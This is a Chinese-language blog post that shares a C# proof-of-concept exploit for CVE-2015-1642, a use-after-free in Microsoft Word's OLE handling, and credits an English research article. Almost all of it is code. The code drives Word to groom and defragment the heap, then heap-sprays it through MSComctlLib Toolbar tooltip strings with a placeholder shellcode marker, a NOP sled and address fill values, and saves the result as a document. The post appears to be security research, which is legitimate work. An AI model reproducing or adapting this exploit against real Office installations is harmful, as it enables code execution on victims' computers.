CVE-2015-1642 POC

　　月初，玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章，之前对office上UAF漏洞利用占位问题有些疑问，刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定，漏洞成因和利用的细节请参见原文链接。今天想起来，就把POC发这里吧。

　　原文链接：Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void HeapSpray(Word.Document objDoc)
        {
            Word.InlineShape[] ocx = new Word.InlineShape[30];
            MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[30, 2];

            int block_size = 0x1000;

            string padding = "u8080u8080";
            while (padding.Length < 0x1000)
            {
                padding += "u2121u2121";
            }
            padding = padding.Substring(0, (0x9f2 - 0xc) / 2);

            // 0a0a0a0a points here 
            string shellcode = "uC0DEuC0DE";
           
            string pattern = "u9090u9090";
            while (pattern.Length < block_size)
            {
                pattern += pattern;
            }
            pattern = pattern.Substring(0, 0x800 - padding.Length - shellcode.Length);

            string block = padding + shellcode + pattern;
            while (block.Length < 0xfffe0 / 2)
            {
                block += block;
            }

            string chunk = block.Substring(0, (0xfffe0 - 0x6) / 2);

            //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X"));

            for (int i = 0; i < 30; i++)
            {
                ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
                for (int j = 0; j < 2; j++)
                {
                    toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
                    toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
                }
            }
        }

        private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
        {
            string paddingB = "u0c0cu0c0c";
            while (paddingB.Length < 0x60 / 2)
            {
                paddingB += paddingB;
            }
            string objAllocB = paddingB.Substring(0, 0x5a / 2);
            
            MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[16];
            ocx[2] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayB[j] = (MSComctlLib.Toolbar)ocx[2].OLEFormat.Object;
                tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
            }

            MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[16];
            ocx[3] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayC[j] = (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
                tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
            }
        }

        private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
        {
            string paddingA = "u0a06u0a0a";
            while (paddingA.Length < 0x60 / 2)
            {
                paddingA += paddingA;
            }
            string objAllocA = paddingA.Substring(0, 0x5a / 2);

            MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[16];
            ocx[0] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayA[j] = (MSComctlLib.Toolbar)ocx[0].OLEFormat.Object;
                tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            Word.Application objWord = new Word.Application();
            objWord.Visible = true;

            object objMissing = System.Reflection.Missing.Value;
            Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing);
            
            // How to: Programmatically Insert Text into Word Documents;
            // https://msdn.microsoft.com/en-us/library/6b9478cs.aspx 
            
            Word.InlineShape[] ocx = new Word.InlineShape[4];

            ReplaceHeap(objDoc, ocx);
            
            ocx[1] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            DefragmenHeap(objDoc, ocx);

            HeapSpray(objDoc);

            // Null out the reference 
            object filename = Application.StartupPath + @"	est.docx";
            objDoc.SaveAs2(ref filename);
            objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
            objDoc = null;
            objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
            objWord = null;
        }
    }
}